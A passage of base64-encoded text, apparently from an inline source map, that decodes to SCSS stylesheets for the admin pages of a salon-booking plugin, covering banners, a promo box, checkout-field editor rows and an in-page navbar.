Nsbi1hZG1pbi1iYW5uZXJfX29sZC1jb250ZW50IHtcbn1cbi5zbG4tYmFubmVyLWJvdHRvbSB7XG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHR3aWR0aDogYXV0bztcblx0bWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKDgwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oNDBweCkgKiAtMSBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oNDBweCkgKiAtMTtcblx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcblx0LnNsbi1iYW5uZXItbG9nb3dyYXBwZXIge1xuXHRcdG1heC13aWR0aDogNDE0cHg7XG5cdFx0bWFyZ2luLXJpZ2h0OiBhdXRvO1xuXHRcdG1hcmdpbi1sZWZ0OiBhdXRvO1xuXHR9XG5cdGEge1xuXHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHR3aWR0aDogNDAlO1xuXHRcdG1heC13aWR0aDogMTIwcHg7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdGltZyB7XG5cdFx0XHR3aWR0aDogMTAwJTtcblx0XHR9XG5cdH1cblx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiAxMDI0cHgpIHtcblx0XHRtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KSAqIC0xIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KSAqIC0xO1xuXHRcdGEge1xuXHRcdFx0d2lkdGg6IDYwJTtcblx0XHR9XG5cdH1cbn1cbi5zbG4tYWRtaW4tYmFubmVyX19vbGQtLXRyaWdnZXIuc2xuLWJ0biB7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHR3aWR0aDogMTAwJTtcblx0aGVpZ2h0OiA0MHB4O1xuXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWdyZWVuO1xuXHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdHdpZHRoOiBhdXRvO1xuXHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG5cdFx0aGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDgwcHgpO1xuXHRcdG1pbi13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMjBweCk7XG5cdFx0ZmxvYXQ6IGxlZnQ7XG5cdFx0bWFyZ2luLXRvcDogMDtcblx0XHRtYXJnaW4tbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0fVxufVxuLnNsbi1hZG1pbi1iYW5uZXJfX29sZC0tY2xvc2V3cmFwcGVyIHtcblx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0dGV4dC1hbGlnbjogcmlnaHQ7XG59XG4uc2xuLWFkbWluLWJhbm5lcl9fb2xkLS1jbG9zZS5zbG4tYnRuIHtcblx0Ly9wb3NpdGlvbjogYWJzb2x1dGU7XG5cdC8vdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHQvL3JpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xufVxuXG5cblxuLnNsbi1wcm9tby1tZXNzYWdle1xuXHRvcGFjaXR5OiAwO1xuICAgYmFja2dyb3VuZC1jb2xvcjogIzRlOTRiNzsgY29sb3I6YWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTsgcGFkZGluZzogMTBweDtcbiAgZGlzcGxheTogZ3JpZDtcbiAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAwLjZmciAxZnIgMWZyIDFmcjtcbiAgZ3JpZC10ZW1wbGF0ZS1yb3dzOiAzMHB4IDgwcHggNTBweDtcbiAgZ2FwOiAwcHggMHB4O1xuICBncmlkLXRlbXBsYXRlLWFyZWFzOlxuICAgIFwiLiAuIC4gLlwiXG4gICAgXCIuIC4gLiAuXCJcbiAgICBcIi4gLiAuIC5cIjtcbiAgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDlweDtcbi1tb3otYm9yZGVyLXJhZGl1czogOXB4O1xuYm9yZGVyLXJhZGl1czogOXB4O1xuLXdlYmtpdC1ib3gtc2hhZG93OiA1cHggNXB4IDJweCAtMnB4ICNDN0M3Qzc7IFxuYm94LXNoYWRvdzogNXB4IDVweCAycHggLTJweCAjQzdDN0M3O1xucG9zaXRpb246IGFic29sdXRlO1xudG9wOi04MHB4O1xud2lkdGg6IDI1JTtcbn1cblxucC5tZXNzYWdlLWluZm8tbGVmdCwgcC5tZXNzYWdlLWluZm8tcmlnaHR7Y29sb3I6ICNiMWNlZGM7IGFsaWduLXNlbGY6IGNlbnRlcjt9XG5wLm1lc3NhZ2UtaW5mby1sZWZ0e2ZvbnQtd2VpZ2h0OiBib2xkO31cbnAubWVzc2FnZS1jb250ZW50e2dyaWQtcm93OiAgICAyOyBncmlkLWNvbHVtbjogMiAvIDU7IGZvbnQtc2l6ZTogMTZweDsgICAgIGFsaWduLXNlbGY6IGNlbnRlcjsgbGluZS1oZWlnaHQ6IDE5cHg7fVxuYS5tZXNzYWdlLWN0YXtncmlkLXJvdzogMzsgZ3JpZC1jb2x1bW46IDIgLyA1OyBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTsgYmFja2dyb3VuZC1jb2xvcjogIzIzNjg4YTsgYm9yZGVyOiAycHggc29saWQgI2ZmZjsgcGFkZGluZzo3cHggNHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IHdpZHRoOiAzNSU7IC13ZWJraXQtYm9yZGVyLXJhZGl1czogMzNweDtcbi1tb3otYm9yZGVyLXJhZGl1czogMzNweDsgYm9yZGVyLXJhZGl1czogMzNweDsgdGV4dC1hbGlnbjogY2VudGVyOyBoZWlnaHQ6IDM3cHg7IGFsaWduLXNlbGY6IGNlbnRlcjt9XG5wLm1lc3NhZ2UtaW5mby1yaWdodHtncmlkLXJvdzogMTsgZ3JpZC1jb2x1bW46IDQ7fVxuYS5tZXNzYWdlLWN0YTpob3Zlcnt3aWR0aDogNjUlOyAgICAgLXdlYmtpdC10cmFuc2l0aW9uOiB3aWR0aCAxcyBlYXNlLWluLW91dDtcbiAgICAtbW96LXRyYW5zaXRpb246IHdpZHRoIDJzIGVhc2UtaW4tb3V0O1xuICAgIC1vLXRyYW5zaXRpb246IHdpZHRoIDJzIGVhc2UtaW4tb3V0O1xuICAgIHRyYW5zaXRpb246IHdpZHRoIDJzIGVhc2UtaW4tb3V0O31cbmltZy50eXBpbmdfbXNne2dyaWQtcm93OiAyOyBncmlkLWNvbHVtbjogNDsgfVxuIiwiQHVzZSBcIi4uL2FkbWluX2NvbmZpZ1wiO1xuXG4jc2xuLXNhbG9uLS1hZG1pbiB7XHJcblx0LnNsbi1jaGVja291dC1maWVsZHMge1xyXG5cdFx0cGFkZGluZy1ib3R0b206IDA7XHJcblx0fVxyXG5cclxuXHQuc2xuLWN1c3RvbS1maWVsZHMtZGVsZXRlIHtcclxuXHRcdGNvbG9yOiByZWQ7XHJcblx0fVxyXG5cclxuXHQuc2xuLWN1c3RvbS1maWVsZHMtZWRpdCB7XHJcblx0XHRjb2xvcjogIzAwNzNhNDtcclxuXHR9XHJcblxyXG5cdC5zbG4tY2hlY2tvdXQtZmllbGRzLS1jZWxsIHtcclxuXHRcdGZsZXgtZ3JvdzogMTtcclxuXHR9XHJcblxyXG5cdC5zbG4tY2hlY2tvdXQtZmllbGRzLS1oZWFkZXItY2VsbCB7XHJcblx0XHRjb2xvcjogIzMyOTNiZDtcclxuXHR9XHJcblxyXG5cdC5zbG4tY2hlY2tvdXQtZmllbGRzLS1yb3cge1xyXG5cdFx0cGFkZGluZy1ib3R0b206IDE1cHg7XHJcblx0XHRkaXNwbGF5OiBmbGV4O1xyXG5cdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcclxuXHRcdHBhZGRpbmctdG9wOiAyMHB4O1xyXG5cclxuXHRcdCY6bm90KDpsYXN0LWNoaWxkKSB7XHJcblx0XHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xyXG5cdFx0fVxyXG5cclxuXHRcdCY6aG92ZXIge1xyXG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDE5OSwgMjIzLCAyNDMsIDAuMzUpO1xyXG5cdFx0fVxyXG5cclxuXHRcdCYuc2VsZWN0ZWQge1xyXG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAjOGZjMGU4O1xyXG5cdFx0fVxyXG5cdH1cclxuXHJcblx0LnNsbi1jaGVja291dC1maWVsZHMtLXJvdy13cmFwcGVyLFxyXG5cdC5zbG4tY2hlY2tvdXQtZmllbGRzLS1oZWFkZXItd3JhcHBlciB7XHJcblx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XHJcblx0fVxyXG5cclxuXHQuc2xuX2xhYmVsX2NlbGwge1xyXG5cdFx0dGV4dC1hbGlnbjogbGVmdDtcclxuXHR9XHJcblxyXG5cdC5zbG5fbGFiZWxfY2VsbCxcclxuXHQuc2xuLWNoZWNrb3V0LWZpZWxkcy0taGVhZGVyLWNlbGwge1xyXG5cdFx0Zm9udC13ZWlnaHQ6IDUwMDtcclxuXHR9XHJcblxyXG5cdC5maWVsZHMtZWRpdG9yIHtcclxuXHRcdHRleHQtYWxpZ246IGxlZnQ7XHJcblx0fVxyXG5cclxuXHQuc2xuLWNoZWNrb3V0LWZpZWxkcy0tcm93LXdyYXBwZXIsXHJcblx0LmZpZWxkcy1lZGl0b3Ige1xyXG5cdFx0aW5wdXRbZGlzYWJsZWRdLFxyXG5cdFx0c2VsZWN0W2Rpc2FibGVkXSxcclxuXHRcdHNlbGVjdFtkaXNhYmxlZF0gKyAuc2VsZWN0MiAuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSxcclxuXHRcdHRleHRhcmVhW2Rpc2FibGVkXSxcclxuXHRcdGlucHV0W2Rpc2FibGVkXSArIGxhYmVsIHtcclxuXHRcdFx0Y3Vyc29yOiBub3QtYWxsb3dlZDtcclxuXHRcdH1cclxuXHJcblx0XHQuc2xuLWNoZWNrYm94IGlucHV0IHtcclxuXHRcdFx0JltkaXNhYmxlZF0gKyBsYWJlbCB7XHJcblx0XHRcdFx0Jjo6YmVmb3JlIHtcclxuXHRcdFx0XHRcdGJvcmRlci1jb2xvcjogI2NjYztcclxuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICNjY2M7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHQmOm5vdCg6Y2hlY2tlZCkgKyBsYWJlbDphZnRlciB7XHJcblx0XHRcdFx0Y29sb3I6IHRyYW5zcGFyZW50O1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHQuZmllbGRzLWVkaXRvci5pbnZhbGlkIGlucHV0W25hbWU9XCJmaWVsZHNfZWRpdG9yW2xhYmVsXVwiXSB7XHJcblx0XHRib3JkZXItY29sb3I6ICNkMjIyMjEgIWltcG9ydGFudDtcclxuXHRcdGJvcmRlci13aWR0aDogMnB4O1xyXG5cdH1cclxuXHJcblx0LnNsbi1ib3gtZmllbGRzLWVkaXRvciB7XHJcblx0XHRiYWNrZ3JvdW5kOiAjZWJmM2ZiO1xyXG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcclxuXHRcdG1hcmdpbi1sZWZ0OiAtMS42NjY2N3JlbTtcclxuXHRcdG1hcmdpbi1yaWdodDogLTEuNjY2NjdyZW07XHJcblx0fVxyXG5cclxuXHQuZmllbGRzLWVkaXRvci1tYWluLXJvdyB7XHJcblx0XHRkaXNwbGF5OiBmbGV4O1xyXG5cdFx0YWxpZ24taXRlbXM6IGZsZXgtZW5kO1xyXG5cdFx0ZmxleC13cmFwOiB3cmFwO1xyXG5cdH1cclxuXHJcblx0LnNsbi1jaGVja291dC1maWVsZHMtLWdyaXAtLWNlbGwge1xyXG5cdFx0d2lkdGg6IDIwcHg7XHJcblx0fVxyXG5cclxuXHQuc2xuLWN1c3RvbS1maWVsZC1idXR0b24ge1xyXG5cdFx0d2lkdGg6IDEwMCU7XHJcblx0XHRoZWlnaHQ6IDMuMzNyZW07XHJcblx0XHRkaXNwbGF5OiBmbGV4O1xyXG5cdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XHJcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xyXG5cdFx0cGFkZGluZy10b3A6IDEwcHg7XHJcblx0XHRjdXJzb3I6IHBvaW50ZXI7XHJcblx0XHRib3JkZXItcmFkaXVzOiA1cHg7XHJcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcclxuXHRcdHRyYW5zaXRpb246IGFsbCAwLjE1cztcclxuXHRcdCY6YWZ0ZXIge1xyXG5cdFx0XHRmb250LWZhbWlseTogRm9udEF3ZXNvbWU7XHJcblx0XHRcdGZvbnQtc2l6ZTogMmVtO1xyXG5cdFx0XHR0cmFuc2l0aW9uOiBhbGwgMC4xNXM7XHJcblx0XHR9XHJcblx0XHRAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xyXG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XHJcblx0XHRcdCY6aG92ZXIsXHJcblx0XHRcdCY6YWN0aXZlIHtcclxuXHRcdFx0XHQmOmFmdGVyIHtcclxuXHRcdFx0XHRcdHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHR9XHJcblxyXG5cdC5zbG4tY2hlY2tvdXQtZmllbGRzLS1yb3cgLnNsbi1jaGVja291dC1maWVsZHMtLWdyaXAtLWNlbGwge1xyXG5cdFx0Y3Vyc29yOiBwb2ludGVyO1xyXG5cdFx0LyogRklYIDA5MjAyMyBcclxuXHRcdCY6OmFmdGVye1xyXG5cdFx0XHRAaW5jbHVkZSBmb250LWljb24oMWVtKTtcclxuXHRcdFx0Y29udGVudDogJ1xcZjU4ZSc7XHJcblx0XHRcdGNvbG9yOiAjMDA3M2E0O1xyXG5cdFx0fVxyXG5cdFx0Ki9cclxuXHR9XHJcblxyXG5cdC5maWVsZHMtZWRpdG9yIHtcclxuXHRcdC8qIEZJWCAwOTIwMjMgXHJcblx0XHQuY2xvc2Utcm93IHtcclxuXHRcdFx0dGV4dC1hbGlnbjogcmlnaHQ7XHJcblx0XHRcdG1pbi1oZWlnaHQ6IDI4cHg7XHJcblx0XHR9XHJcblx0XHQuZmllbGRzLWVkaXRvci1jbG9zZTo6YWZ0ZXIge1xyXG5cdFx0XHRAaW5jbHVkZSBmb250LWljb24oMmVtKTtcclxuXHRcdFx0Y29udGVudDogXCJcXGYwNTdcIjtcclxuXHRcdFx0Zm9udC13ZWlnaHQ6IDQwMDtcclxuXHRcdFx0Y29sb3I6ICMwMDA7XHJcblx0XHRcdGN1cnNvcjogcG9pbnRlcjtcclxuXHRcdH1cclxuXHRcdCovXHJcblx0fVxyXG5cclxuXHQuc2xuLWZpZWxkLWVkaXRvci1idXR0b24tY29sIHtcclxuXHRcdHRleHQtYWxpZ246IGNlbnRlcjtcclxuXHRcdC5zbG4tYnRuLFxyXG5cdFx0LmJ0biB7XHJcblx0XHRcdHdpZHRoOiAxMDAlO1xyXG5cdFx0XHRtaW4td2lkdGg6IGF1dG87XHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHQuc2xuLWZpZWxkLWVkaXRvci1kZWZhdWx0LXZhbHVlLWNvbCAuc2xuLWNoZWNrYm94IHtcclxuXHRcdG1hcmdpbi1ib3R0b206IDA7XHJcblx0fVxyXG5cclxuXHQuZmllbGRzLWVkaXRvcltkYXRhLW1vZGU9XCJuZXdcIl0gLmNsb3NlLXJvdyB7XHJcblx0XHRkaXNwbGF5OiBub25lO1xyXG5cdH1cclxuXHJcblx0LnNsbi1jaGVja291dC1maWVsZHMtLXJvdyAuc2xuLWNoZWNrYm94IGxhYmVsIHtcclxuXHRcdGJvcmRlci1ib3R0b206IDA7XHJcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcclxuXHR9XHJcblxyXG5cdC5zbG4tZmllbGQtZWRpdG9yLWJ1dHRvbi1jb2wge1xyXG5cdFx0bWFyZ2luLWJvdHRvbTogMS42NjY2N3JlbTtcclxuXHR9XHJcbn1cclxuIiwiQHVzZSBcIi4uL2FkbWluX2NvbmZpZ1wiO1xuQHVzZSBcIi4uL3R5cG8tYWRtaW5cIjtcblxuQHVzZSBcIi4uL3NldHRpbmdzLW1peGluc1wiO1xuXG4jc2xuLXNhbG9uLS1hZG1pbiB7XG4gICAgLnNsbi1pbnBhZ2VfbmF2YmFyX3dyYXBwZXIge1xuICAgICAgICB3aWR0aDogY2FsYygxMDAlICsgMjVweCk7XG4gICAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgICAgICAgbWFyZ2luLWxlZnQ6IC05cHg7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgICAgIC8vXG4gICAgICAgIG92ZXJmbG93LXk6IGhpZGRlbjtcbiAgICAgICAgQGV4dGVuZCAlemktdG9wO1xuICAgICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbih0b3AgMTUwbXMpO1xuICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX3dyYXBwZXItLWZrIHtcbiAgICAgICAgICAgIGhlaWdodDogMDtcbiAgICAgICAgfVxuICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfaW5uZXIge1xuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgIG92ZXJmbG93LXg6IHNjcm9sbDtcbiAgICAgICAgfVxuICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXIge1xuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgIG92ZXJmbG93LXg6IHNjcm9sbDtcbiAgICAgICAgICAgIGZsZXg6IDEgMCBhdXRvO1xuICAgICAgICB9XG4gICAgICAgIC5zbG4taW5wYWdlX25hdmJhcml0ZW0ge1xuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgIGZsZXg6IDEgMCBhdXRvO1xuICAgICAgICB9XG4gICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fY3VycmVudHRhYiB7XG4gICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgd2lkdGg6IDQ0cHg7XG4gICAgICAgICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCk7XG4gICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgICAgIC8qIEZJWCAwOTIwMjMgXG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMGM5XCI7XG4gICAgICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAqL1xuICAgICAgICAgICAgLypcbiAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfX2ljb24tLWdlbmVyYWw6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTNcIjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfX2ljb24tLWJvb2tpbmc6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwNzNcIjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfX2ljb24tLWNoZWNrb3V0OjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMDdhXCI7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX19pY29uLS1wYXltZW50czo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjA5ZFwiO1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX19pY29uLS1zdHlsZTo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjAzNlwiO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl9faWNvbi0tZ2NhbGVuZGFyOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMWEwXCI7XG4gICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDMwMDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfX2ljb24tLWRvY3VtZW50YXRpb246OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMmRcIjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICovXG4gICAgICAgICAgICAvKiBGSVggMDkyMDIzIFxuICAgICAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl9faWNvbi0tY2xvc2U6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMmRcIjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICovXG4gICAgICAgICAgICAmOmZvY3VzLFxuICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsIDAuNSk7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiBub25lO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyIHtcbiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgIHRvcDogMDtcbiAgICAgICAgICAgIHJpZ2h0OiAwO1xuICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgd2lkdGg6IDQ0cHg7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMTA1XCI7XG4gICAgICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lO1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl9fc2Nyb2xsZXItLWxlZnQge1xuICAgICAgICAgICAgICAgIHJpZ2h0OiB1bnNldDtcbiAgICAgICAgICAgICAgICBsZWZ0OiA1NHB4O1xuICAgICAgICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjEwNFwiO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogODAwcHgpIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgJi5hZmZpeCB7XG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgIHRvcDogMDtcbiAgICAgICAgICAgIHJpZ2h0OiAwO1xuICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgICAgIC8vYm94LXNoYWRvdzogMCA4cHggMTZweCAwIHJnYmEoODUsIDkzLCAxMDIsIDAuMyk7XG4gICAgICAgICAgICBib3gtc2hhZG93OiAwIDNweCA1cHggMCBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLCAwLjI1KTtcbiAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDQ0cHg7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX19jdXJyZW50dGFiLFxuICAgICAgICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX19zY3JvbGxlciB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAgICAgICBjb2xvc